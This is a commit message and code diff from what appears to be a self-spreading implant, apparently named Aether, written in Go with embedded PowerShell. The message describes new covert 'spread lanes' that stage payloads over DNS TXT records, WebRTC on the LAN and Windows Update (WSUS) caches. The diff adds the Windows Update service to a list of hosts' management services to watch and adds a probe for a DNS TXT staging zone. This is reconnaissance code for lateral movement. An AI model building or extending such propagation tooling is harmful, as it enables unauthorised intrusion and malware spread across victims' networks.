Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/deploy/service_discovery_windows.go

@@ -16,7 +16,7 @@ $p = [ordered]@{ services = @(); hints = @() }
 $watch = @(
   'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
   'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
-  'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS'
+  'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS','Wuauserv','wuauserv'
 )
 foreach ($n in $watch) {
   try {
@@ -84,6 +84,10 @@ func probeLocalServices() []ServiceGraphEntry {
 	if dockerPipePresent() {
 		entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
 	}
+	zone := ProbeDNSTXTZone()
+	if IsDNSTXTReady(zone) {
+		entries = append(entries, entryWithLane("dns_txt:_aether."+zone, 0, "passive_hint"))
+	}
 	return dedupeEntries(entries)
 }